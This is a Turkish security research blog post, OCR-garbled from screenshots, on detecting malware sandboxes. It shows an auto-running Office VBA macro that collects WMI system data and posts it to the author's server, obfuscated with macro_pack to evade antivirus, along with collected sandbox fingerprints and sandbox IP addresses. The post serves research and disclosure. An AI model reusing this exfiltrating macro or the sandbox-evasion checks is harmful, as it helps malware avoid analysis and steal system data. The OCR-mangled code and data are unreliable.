Kum Havuzu Tespiti

written by Mert SARICA | 2 December 2019
If you are looking for an English version of this article, please visit here.

8-9 yi1l once yazdigaim blog yazilarinda (Anti Analiz, Anti Anti-VMWare)
zararli yazilim gelistiren art niyetli kisilerin, zararli yazilimlarinin
sanal sistemlerde guvenlik arastirmacilari veya guvenlik sistemleri
tarafindan analiz edilmesini zorlastirma, engelleme adina cesitli

yontemlerden faydalandiklarindan bahsetmistim.

Tabii glnidmizde Virtual Desktop Infrastructure (VDI) teknolojilerinin
kurumsal ortamlarda son kullanicilar tarafindan yaygin olarak kullanilmaya
baslanmasiyla sanal sistemlerin ¢ogunlukla sunucular veya zararli yazilim
analistleri, givenlik arastirmacilari tarafindan kullanildigi glinler geride
kalmaya basladi. Durum bdéyle olunca da zararli yazilaim gelistiricilerinden
kirmizi takim (red team) calismasi gerceklestiren etik hackerlara kadar hedef
sistemleri kendi araclari ile uzaktan yonetmek ancak yakalanmak
istemeyenlerin ortak kaygisi, sanal sistemlerde calisabilen fakat analiz
sisteminde calismayan arac¢lar tasarlamak ve gelistirmek olmaya basladi.
Gercekc¢i bir yaklasimla analiz sisteminde calismayan bir aracin
gelistirilmesinin mimkin olamayacagini bilen zararli yazilim gelistiricileri,
yakalandiklarini anlamak ve operasyonlarini durdurmak icin VirusTotal
uzerinde belli zaman araliklarinda gelistirdikleri zararli yazilaimlarinin
hash degerlerini aratmaktadirlar. Benzer sekilde mavi takim tarafindan
yakalanabilecegi ihtimalini g6z ardi etmeyen kirmizi takim galisanlari ise
operasyonlarinin sirdirilebilirligini saglama adina RedELK gibi projelerden
faydalanmaktadirlar.

Zararli oldugundan suphe edilen dosyalarin son kullanicilar, givenlik
uzmanlari tarafindan VirusTotal, Any.Run, Hybrid Analysis, Lastline Analyst,
VMRay Analyzer vb. kum havuzu sistemlerine ylklendigini bildigim ig¢in c¢ok
givendigimiz bu kum havuzu sistemlerini tespit etmenin pratikte ne kadar

kolay veya zor oldugunu arastirmaya ve sizlerle paylasmaya karar verdim.

Bunun icin ilk olarak kum havuzu sistemleri ile ilgili bilgi toplamam (kesif)
gerekiyordu. Kum havuza sistemine yuklenen bir yazilim, dinamik analiz
esnasinda hedef bir sistem (c&c) ile haberlesmeye gec¢tiginde kum havuzu
sistemi tarafindan izlenmekte ve kayit altina alinmakta kisaca bu sistemler
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istifade ederek hedef isletim sistemi ile ilgili bilgi toplayan bir Microsoft
Office makrosu hazirlamaya karar verdim. Makro ile bu isi yapmanin en kolay
yolu 6zellikle hedeflenmis saldirilarda (APT) yanal hareket (lateral
movement) amaciyla kullanilan Windows Management Instrumentation (WMI) ‘dan
faydalanmakti. WMI ile ilgili olarak Microsoft’un sitesinde ufak bir
arastirma yaptiginizda (Win32 Provider) hedef isletim sistemi ile ilgili cok
ama ¢ok sayida bilgi toplayabildiginizi gorebilirsiniz.

Diinyay1 yeniden kesfetmeme adina Google’da ufak bir arama yaptigimda VBA ile
WMI lzerinden bilgi toplamaya yarayan basit bir betik ile karsilastim. Bu
betik dosyasina Microsoft’un sayfasinda isletim sistemine ydénelik olan 25
adet sinifi ekledikten sonra bu bilgileri
https://www.mertsarica.com/macro.php adresine géndermesini sagladim.
Antiviris yazilimlari tarafindan kolayca tespit edilememesi adina da

macro _pack araci ile makroyu gizledim. (obfuscation)

File Edit Search View Encoding Language Settings Tools Macre Run  Plugins  Window 7 X
> . 3 =1 - |
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E,IMert-ObfuscatedZS.bdml Lo [
1 ' Author: Mert SARICA - https://www.mertsarica.com — mert.sarica[f]gmail.com -
2 ' For Security Research Purposes Only F
= Private Sub Document Cpen()
6 WMI =
7 End Sub T

Sub WMI ()

11 Dim oWMISrvEx A= Object ' SWbemServicesEx

12 Dim oWMIObjSet A=z Object 'SWbemServicesObjectSet

13 Dim oWMICbhJEx As Object ' SWbemCbhbjectEx

14 Dim oWMIProp Ls Cbject ' SWbemProperty

15 Dim n s Long 'Generic Counter

16 Dim i A=z Integer

17 Dim = A=z Integer

18 Dim sWQL(1 To 25) As String
15 Dim arrMarks() As S5tring

20 Dim msgString As String

21 Dim rValue As Boolean

22

23 ReDim arrMarks (65535)

2;

25 SWQL(1) = "Select * From Win32 NetworkAdapterConfiguration"”

26 sWQL(2) = "Select * From Win32 SystemEnclosure" 'PC 's Manufacturer and Serial Number

27 SWQL(3) = "Select * From Win32_ LogicalDisk" 'Disks with capacities and free space.

28 SWQL (4} = "Select * From Win32 Processoxr"™ 'CPU Specs

29 SWQL(5) = "Select * From Win32 PhysicalMemoryArray" 'RAM/Installed Memory size

30 SWQL(6) = "Select * From Win32 VideoController" 'Graphics adapter and settings

31 sWQL(7) = "Select * From Win32 OnBoardDevice" 'Motherboard devices

32 SWQL(8) = "Select * From Win32 OperatingSystem" 'Which version of Windows with Serial Number

25 SWQL(3) = "Select * From WIn32 Printer" 'Installed Printers

34 SWQL(10) = "Select * From Win32 Product™ 'Installed Software

35 sWQL(11) = "Select * From WIn32 Account™ 'List all User Accounts on a PC or Domain

38 SWQL(12) = "Select * From Win32_ ComputerSystem" 'See who is currently using a remote PC (also Win32_LoggedCnUser)
37 sWQL(13) = "Select * From Win32 BaseService" 'List services running (or stopped) on any PC along with the

service's path and file name.
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Normal text file length:6.277  lines: 128 In:13 Col:51 Sel:0|0 Windows (CRLF)  UTF-8 INS
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| @§ C\Windows\system32\cmd., :

Preparations...
Target output format: Excel
Input file path: macro.txt
Temporary working dir: temp
Store input file...
Temporary input file: temphcefiigddy.uvha

Prepare Ewxcel file generation...
Check feasibility...

UBA names obfuscation ...
Rename functions...
Rename variables...
Rename numeric constants...
Rename API imports...
0Kt

UBA strings obfuscation ...
Split strings...
Encode strings...
0Kt

UBA form obfuscation ...
Remove comments...
Remove spaces...
0Kt

Generating M8 Excel document...
Set SoftwaresMicrosoft:Office~16.8\Excel“Security to 1...
Open workhook...
Changing auto open function from Document_Open to Workbook_Open...
Inject UBA...
Remove hidden data and personal info...
Save workbook...
Set Software~Microsoft Office~16.8“Excel“Security to @...
%enerate? Excel file path: C:slserssMert Dezktop~Mert-0Ohfuscated25.xl=m
est with =

macro_pack.exe —run CixlUserszssMHert Desktop“Mert—0Obhfuscated25.xlsm

Cleaning...
Done?




1 File Edit View Insert Format Debug Run Tools Add-Ins  Window Help -0 X

HE-d ) pon o3 BESY @ s ca B

Properties - ThisWorkbook ﬁl (General) e %

ThisWorkbool Workbook - —]
Const nzslynpeha = 2 =

Alphabetic Const nefuhtkuev = 1 P

S i=vorkbook ~ Const yxtfogyvavi = 0

AccuracyVersior 0 1l Sub Workbook Open()

AutoUpdateFrec0 kobgwwizm] 3

ChangeHistoryC 0 End Sub 3

ChartDataPoint] True Sub kobgwwizm] ()

CheckCompatibi False Dim byfuecbw A= Object

ConflictResoluti| 1 - xlUserResol Dim azrwemvrgxpefl L= Object

Date 1304 False Dim jdryvxbggka ks Object

DisplayDrawingl 4104 - xIDispl; Dim vimxuhggswzhnlwtbzg L= Object

DisplayInkComm Trus Dim yichuclkzdspcun A= Long

DoMotPromptFo False Dim yhuihbwhuwi Ls Integer

EnableAutoRece Trus Dim pxjjhyujtbsvoolghgw A=z Integer

EncryptionProvii Dim sWQL(1 To 25) As String

EnvelopeVisible False Dim arrMarks() Rs String

Final False Dim wuvytgeakiv As String

ForceFullCalcula False Dim vrxgmbpd As Boolean

HighlightChange False ReDim arrMarks (65535)

InactivelistBord True E SWQL(1) = xmdhezkcfxfn ("53656c656374202a2046") & xmdhezkcfxfn ("T726£6d2057696e33325f4e65T747T76E72¢

TsAddin False sWQL(2) = xmdhezkcfxfn ("53656c656374202a204672656d20576096033325£53797374656d") & xmdhezkefxfn ("<

KeepChanaeHis True sWUQL(3) = zmdhezkcfxfn ("53656c656374202a2046726£6d20576596233325F4c6f676963616c446973") & xmdhezk

ListChangesOnh False sWQL(4) = xmdhezkcfxfn ("5365") & xmdhezkcfxfn ("6c656374202a2046726£6d2057696233325£50726£6365737

Password s sWQL(5) = xmdhezkcfxfn ("536506c656374202a2046726£6d205T7656e33325E£0068") & Xmdhezkcfxfn ("78736963¢

PersonalViewLis{ True SWUQL(6) = xmdhezkcfxfn ("53656c6563") & xmdhezkcfxfn ("T74202a2046726f6d2057696e33325f5669646565435¢

PersonalViewPril True sWQL(7) = zmdhezkcfxfn ("53656c656374") & zmdhezkcfxfn ("202a2046726£6d2057696233325f4f6=2426£6172¢

PrecisionAsDispl False sWQL(8) = xmdhezkcfxfn ("53656c656374202a20") & xmdhezkcfxfn ("46726£6d2057696e33325E£4fT7065T72617T4¢

ReadOnlyRecon False sWQL(9) = xmdhezkcfxfn ("53") & xmdhezkcfxfn ("656c656374202a2046726£6d2057496e33325£5072696eT4657

RemovePersonz True m - T

Saved

SWOL (21}
SHOL (22)
SWOL(23)
SHOL (24)
SWOL (25)

* from Windi_systemBoot n" ‘Relates a computer system and its boot configuration.” i
from Wind2_systemSe:
“Select * from Winl2_systemSe on that system.”

“select * from Winll_systemsy ¥er running on that computer system.”
*gelect * from Windl LogicalProgramGroup™ ‘Represents a program group in a computer system running Windows.®

For i = LBound (sWQL) To UBound {sWQL)

s=m+1

arsMariks(g) = "4eses " g gHQL{E) & " sessen & whCE
' Debug.Print darks(a)

@ct { "winmgmts : root/CIMVZ™)
Ex.Execouery (SMOL (1))
SWMIohiSet

For m =
If ¥or I
'Debug.Print oWMIProp.Hame & "(" & n & "), oWMIProp.Y
arrMarks(s) = OWMIProp.Kame & "{" & n & ")" & oWMIProp
!'Debug.Print arrMarks (s)
End If
Hext
ElseIf Not IsNull

1 {oWMI Brop. alue)

lue (nh

value(n) & wbCr

-¥alue) Then

-Name, CWMIProp.Value, s

= OWMIFrop.Hame & * = & oWMIFrop.Value & vbCr
arzMarks (s}

Maxt
Haxt i

ReDim PEoserve areMarks(ah

tValue = WinHTTPPostRequest ("hEtps:/ wOn . SerLsasics.con/massa.php™, megstringd

End Sub

Mert-Obfuscated25.xlsm dosyasini Any.Run ve VirusTotal'a yukledikten kisa bir
sire sonra https://www.mertsarica.com/macro.php dosyasina istekler geldigini
gordim. Gelen isteklere baktigimda kum havuzu analizi yapan sistemlerle
ilgili 6numde incelenmesi gereken epey bir bilgi oldugunu gérdim. :)

Bu bilgilere bakarken ilk olarak dikkatimi Select * From

Win32 OperatingSystem WMI isteginin ¢iktisinda yer alan LastBootUpTime degeri
cekti. Bu deger, isletim sisteminin en son hangi tarih ve saatte
baslatildigini belirtiyordu. Kum havuzu analizi yapan sistemler zararli
yazilimlari analiz etmeden 6nce isletim sistemini sifirdan, temiz hali ile


https://app.any.run/tasks/09f3568a-6413-477d-a683-9380186d2729
https://www.virustotal.com/gui/file/d878a7c8fa46c52020a07de7726a8a740d245dcf0a58355b88a054059f933ba3/detection
https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-operatingsystem
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baslatmaktadirlar dolayisiyla analizin gerceklestirildigi isletim sisteminin
yeniden baslatilma tarihi (LastBootUpTime) ile analiz tarihi (LocalDateTime)
arasinda maksimum 30 dakika gibi bir zaman farki olusmaktadir. Bu bilgiden de
yola cikarak yazilimin kum havuzunda analiz edildigini varsaymak mumkimkin

olabilmektedir.

vistriputea raise
icnLevel 256
oregroundaApplicationBoost 2
% FreePhysicalMemory 3090916 *
FreeSpacelnPagingFiles 3669616
% FreeVirtualMemory 6793136 % FreeVirtualMemory 6
InstallDate 20171005101956 €0 InstallDate 20171 0000004060
%= LastBootUpTime 2 784000 %= LastBootUpTime 20130 85613.010685+000
% LocalDateTime 20150208193158.681000+000 e % LocalDateTime 20180208152408.873000+000 v
Locale 0409 Locale 0409
Manufacturer Microsoft Corporation Manufacturer Microsoft Corporation
MaxNumberofProcesses -1 MaxNumberOfProcesses -1
MaxProcessMemorySize 2087024 MaxProcessMemorySize 2097024
MUILanguages (0) e
i oft s 7 Professional
e iskO\Partition2
Processes 30
v |, NumberofUsers 3 v
Normal text file Ln:208 Col:1 Sel: 0|0 Unix (LF)

::ToDateTime(

ToDateTime(

::ToDateTime(

::ToDateTime(

ReleaseDate 20131029000000.000000+000
SMBIOSBIOSVersion 204

SMBIOSMajorVersion 2

SMBIOSMinorVersion 8

SMBIOSPresent True

SoftwareElementID Intel IGD BDSM enabled at 0x%08x, size $11dMB, dev 00:02.0
SoftwareElementState 3

Status OK

2117 SystemBiosMajorversion 0
21 SystemBiosMinorvVersion 0
21181 TargetOperatingSystem 0
Version BOCHS - 1
kkkkt Select * from Win32_SystemBIOS Ak
4  GroupComponent \\DESKTOP-HRW10\root\cimv2:Win32_ComputerSystem.Name="DESKTOP-HRW10"
PartComponent \\DESKTOP-HRW10\root\cimv2:Win32 BIOS.Name="Intel IGD BDSM enabled at 0x%08x, size $11dMB, dev 00:02.0",SoftwareElementID="Intel IGD BDSM enabled at 0x%08x, size
[511dMB, dev 00:02.0",softwareElementState=3,TargetOperatingSystem=0,Version="BOCHS - 1"
#wwk% Solect * from Win32_Desktop *#w#w
CursorBlinkRate 500
211 DragFullWindows True
21 IconTitleFaceName MS Shell Dlg
IconTitlesize 8
21191  IconTitleWrap True
21192 Name NT AUTHORITY\SYSTEM
21 Pattern (None)
ScreensaverActive False

WallpaperStretched False
BorderWidth 1
CursorBlinkRate 530

2119 DragFullWindows True
2119 IconSpacing 43
21200 IconTitleFaceName Segoe UL

2 IconTitlesize 9
IconTitleWrap True
Name DESKTOP-HRW10\Olivia
pattern 0
ScreenSaverActive False

Wallpaper C:\Users\Olivia\Pictures\3d-flowers hd wallpaper.jpg

WallpaperStretched True
WallpaperTiled False

CursorBlinkRate 500
DragFullWindows True

IconTitleFaceName MS Shell Dlg °

Mormal text file length: 728.412 lines: 22.698 Ln:21.185 Col:178 Sel:833[1 Macintosh (CR)  Windows-1252 INS

Topladigim bilgilere g6z atmaya devam ettigimde LastBootUpTime ile
LocalDateTime arasinda 4 ay fark oldugunu fark ettigim bir cikti ile
karsilastim. 4 ay boyunca yeniden baslatilmayan bir son kullanici sistemi
(Windows 7) oldukca siphe cektigi icin bu bilgileri yakindan incelemeye
basladim. Bilindigi lizere ¢ogu guvenlik arastirmacisinin, zararli yazilim

analistinin hali hazirda izole, sanal bir analiz sistemi bulunmaktadir. Bu



analiz sistemi zaman kaybetmeme adina her defasinda yeniden baslatilmak
yerine anlik goérintidden (snapshot) dondurilmektedir. Anlik gdruntiden
dondiridlen bir isletim sisteminin de LastBootUpTime ginler gectikce geride
kalmakta ve bir zararli yazilim analiz edildiginde LocalDateTime ile
arasindaki zaman farki kimi zaman aylari bulabilmektedir. Bu bilginin
1s1ginda bir de siphelendigim bu ¢iktinin Windows isletim sistemindeki
program gruplarina Win32 LogicalProgramGroup dair bilgileri topladigi WMI
bolimine baktigimda bu defa givenlik arastirmacilari, zararli yazilim
analistleri tarafindan siklikla kullanilan Immunity Debugger, Process Hacker
gibi aracglarain sistem lUzerinde yikli oldugunu g6rdim. Bu da bana Office
dosyamin bir tehdit avcisi tarafindan analiz edildigi bilgisini saglamais
oldu. :)

Ha7s22ma

Caption Microsoft Windows 7 Professional
CodeSet 1252

CountryCode 1

CreationClassName Win32 OperatingSystem
CSCreationClassName Win32_ComputerSystem
CSDVersion Service Pack 1

CSName MARYEILL-PC

CurrentTimeZone €0
DataExecutionPrevention 32BitApplications True
DataExecutionPrevention_Available True
DataExecutionPrevention_Drivers True
DataExecutionPrevention SupportPolicy 2
Debug False

Description

Distributed False

EncryptionLevel 256
ForegroundipplicationBoost 2
FreePhysicalMemory 1252420
FreeSpaceInPagingFiles 1791456
FreeVirtualMemory 2862980

InstallDate 20160419151854.000000+120
LastBootUpTime 20181113103206.500000+060

LocalDateTime 20190329103419.697000+060

Locale 0409

Manufacturer Microsoft Corporation

MaxNumberQfProcesses -1

MaxProcessMemorySize 8589934464

MUILanguages (0)en-US
Name Microsoft Windows 7 Professional |C:\Windows|\Device\Harddisk0\Partition2
NumberOfProcesses 50

a €

Elamant \\MARYHILL-DC\rooticimel:Wini? Computsrdystom.Hans="MARYHILL-DC®
Satting \\MARYAILL-PCA\rsoticimeZ:Rin3Z LogisallProgramcroup. Mamse==public:gtart Manu)\Drograms)\Imsusity Inc™

Elemant \\MARVHILL-PCAroothoimv?:MiniZ Computsrdysten.Nanss MARYHILL-PC=

Sarting \\MARYAILL-PC\reoticinvd:Hini2 LogicalProgramGroup. Mane="Public:Seart Mano)\Programe)\Imsunicy Inc\\Immsunity Dabugger™

Elamont \\MARYHILL-DPCA\roorhcimv?:Win3Z CompurarSysten Name="MARYHILL-DC™

Botting \\MARYHILL-DPC\rootholmv iWin3Z LogicalProgramiroup. Mame==public:sg

Klamant \\MARYNILL=PCA rooticinvd: Mindl Computerdysten. Nanss MarviilL

Sarring \\MARYHILL-PCArooricinve:Win32 LogicalProgramGronp. b

Elamant \\MARYHILL-PCA\root\cimve:Win3Z ComputerSysten.Hang

BeLLing \\MARYHILL-PC\roothokmvi iWind2_Logiaaibrogim Mioiftart Menu\\Programe) \Hicrosoft Office 2036 Foois®
L-pe™

Uy PEOgrama’ ) Java™

fart Manu\\Programs’\Maintenance”

i="public:Start Manu\\Programs\\Process Hacker 27

REHELL-PC™

=Fpubllic:gtars Manu\\Programsh brocess facker 2\\ikelp and Support™
MAREAILL-BC™

. Public:Start Hanul\\Programs'\Python 2.7%

11LL-pe*

Ava ¢ikmis tehdit avcisi ;)

Hamm="MARTHILL=PC
Setting \\MARYHILL-FC\roothcimvl:Wind2_TimeZone.Standardiame="N. Europe Standard Time®



https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-logicalprogramgroup
https://www.immunityinc.com/products/debugger/
https://processhacker.sourceforge.io/

Son olarak bir de dikkatimi Select * from Win32 SystemBIOS WMI isteginin
Giktisi c¢ekti. Kum havuzlarindan gelen bilgilere baktigimda bir tanesinin
BOCHS oykilnlicist (emulator) lizerinde bir digerinin ise QEMU o&ykiintcisi
lUzerinde calistigini dolayisiyla bu iki sistemin de kum havuzu sistemine ait
oldugunu anlamis oldum.

21171  ReleaseDate 20131029000000.000000+000
21172 SMBIOSBIOSVersion A4

(Sl SCiosajozversion 2 Bochs is a portable IA-32 and x86-64 IBM PC
21174 SMBIOSMinorVersion § -

BN ... ccocezant trie compatible emulator and debugger mostly
21176 SoftwareElementID Intel IGD EDSM enzbled at Ox808x, size 311dMB, dev 00:02.0 written in C++ and distributed as free
[ SoftvarsElementState. 3 software under the GNU Lesser General
21178 Status OK . . .

N . oconicansjorvarsion 0 Public License. It supports emulation of the
21180  SystemBiosMinorVersion 0 processor, memory, disks, display, Ethernet,
21181  TargetOperatingSystem 0 BIOS and common hardware peripherals of
21182  Version BOCHS = 1 e PCs

21183  **#** gelect * from Win32_SystemBIOS **k#+
21184  GroupComponent \\DESETOP-HRWL0\root\cimv2:Win32_ComputerSystem.Name="DESKTOP-HRW10"
21185 PartComponent \\DESKTOP-HRW10\root\cimv2:Win32 BIOS.Name="Intel IGD BDSM enabled at Q
[11aMB, dev 00:02.0",SoftwareEl te=3, Targetoperati =0, Version="BOCHS -
*kkik Select * from Win32 Desktop ***#*

CursorBlinkRate 500
DragFullWindows True

TconTitleFaceName MS Shell Dlg
IconTitleSize 8

21181  IconTitleWrap True
21192 Name NT AUTHORITY\SYSTEM

C:\Users\Mert\Desktop Mamol72. 12,209, 146_1.txt (SRl &
[[13771 sStartmode Disabled =
| 113776 _SystemName PC-4A0SSEZ7CE
[ ]13800 _SystemName PC-4A095EZVCE
[|13819 StartMode Disabled
| |13824 SysTemName PC-ZA0S5SEZ7CE
| 113848 ~SystemName PC-4AD95EZVCE
[ 113867 —StartMode Disabled
[]13872 —SystemName PC-4AD95EZ7CE
13876 ~BiosCharacteristics(17)79
| 113877 BIOSVersion{l)iIntel IGD BDSM enabled at Ox%08x, size %1l1dvMe, dev 00:02.0
[|13880 Manufacturer SeaBlos F
| |13884 SMBIOSBIOSVersion rel-1.1IT.0-0-g63451fcal3-prebuilt. gemu-project.org
13892 Version CASUS. - T
[ |13894 ~GroupComponent \\PC-4A095EZ/CB\root\cimv2:Win32_Compys stem. Name="PC-JADS5EZTCE
| |13895 partComponent “\PC-4A095E27CB\root\cimv2:win32_BIQ ‘'Intel IGD BDSM enabled at Ox%08x, size %1ldwe, d
13907 Borderwidth O
13908 cursorBlinkrate 530
13909 DragrFul lwindows True
13910 IconTitleFaceName Tahoma
13911 1IconTitleSize 8
13912 IconTitlewrap True
13913
13914
13915
13916 .
i QEMU is a free and
13919 open-source emulator
13920
13921 that performs hardware
13923 virtualization. QEMU is a
e hosted virtual machine
e monitor: it emulates the
e machine's processor
b through dynamic binary
13932
13933
13934
13935 0 =W ap e
13936 Name PC-4AQ95E27CB)\STRAZNIICA.GRUBUTT
13937 Pattern (None)
13938 sScreensaverActive False
12939  screensaversecure False
13940 ScreenSaverTimeout 60 v
< >
Ln 7807, Col 23 15377 lines |INS Read-only Edit Plug-in  MNewer 5002 KE ANSI

Ekim ayina kadar gecen zaman zarfinda macro.php dosyasina istekte bulunan ip
adreslerine baktigimda bunlarin da kuvvetle muhtemel VMRay, Lastline,
Any.RUN, VirusTotal‘a ait kum havuzu sistemlerine ve bir tehdit avcisina ait


https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-systembios
http://bochs.sourceforge.net/
https://www.qemu.org/
https://www.vmray.com/analyses/d878a7c8fa46/report/overview.html
https://app.any.run/tasks/09f3568a-6413-477d-a683-9380186d2729
https://www.virustotal.com/gui/file/d878a7c8fa46c52020a07de7726a8a740d245dcf0a58355b88a054059f933ba3/detection

oldugunu sdyleyebilirim.

P Domain Country Region City ISP ASN NS
104 21589177 :;‘E"{:;teﬂ Texas San Antonio Microsoft Corporation 8075
13.80.140 46 N=er| herlands MNorth Holland Amsterdam Microsoft Corporation 8075

deib-188-099-240- Baden-WAlittemberg  Bodman-

188.99.240.204 204,188,099, pools vodafone-ip.de = Garmany Region Ludwigshafen Vodafone GmbH 3209
217.86.42 248 pDO562AFE dip0.t-ipconnect de = Garmany gggﬁ]nr;w’&“‘memberg Tettnang Castle Deutsche Telekom AG 3320
64.233.172.230 gg‘ﬂ‘;g YA T2 el Google LLC 15169
66.102.6 213 g?g?;ggg"z"}ﬁ"oz'ﬁ' L e Google LLG 15169
66.249.88 41 ﬁ??;gﬁ;oggﬁﬁ'zw -80- 5"‘{5';';5"9” California Mountain View Google LLG 15160
66.240.88 60 gg?g‘;g;gﬁ;“’gg;gﬁ‘z“g'%' g‘tgﬂ;‘;‘e‘j California Mountain View Google LLC 15160

Sl United Comcast Cable

71.59.36.230 c-71-59-36-230.hsd1.ga.comcast.net States Georgia Atlanta Communications, LLG 7922

T2.12.209 146 :;;a'i‘lgnsi'wd Indiana Lafayelte Wintek Corporation 11114

85.203.44 80 Moetheriands  North Halland Amsterdam NForce Entertainment BV, 43350
ip-95-222-167- Morth Rhine- ;

95222 167.189 189 hsi15_ unitymadiagroup.de = Garmany Westphalia Bochum Liberty Global B V. G830

Sonuca gelecek olursam, gelistirilen bir yazilaimin, kodun WMI lzerinden elde
ettigi bilgiler sayesinde kum havuzu sistemi Uzerinde c¢alistigini anlamasi
pratikte zor gorunmuyor dolayisiyla hem bu bilgilerden hem de kum havuzu
sistemlerine ait olan ip adreslerinden, ip bloklarindan faydalanan art
niyetli bir kisinin veya bir kirmizi takim Uyesinin kum havuzu analizini

atlatmasinin mimkin olabilecegi asla unutulmamalidair.
Bir sonraki yazida goriusmek dilegiyle herkese glivenli glinler dilerim.

Not: 22 Kasim tarihinde dizenlenen NOPcon Uluslararasi Hacker Konferansi’'nda
bu konuyu degindigim Kum Havuzu Tespiti baslikli sunum dosyami dileyenleriniz
buradan indirebilirler.


https://nopcon.org
https://www.mertsarica.com/sunumlar/Kum_Havuzu_Tespiti.pptx
https://www.mertsarica.com/sunumlar/Kum_Havuzu_Tespiti.pptx

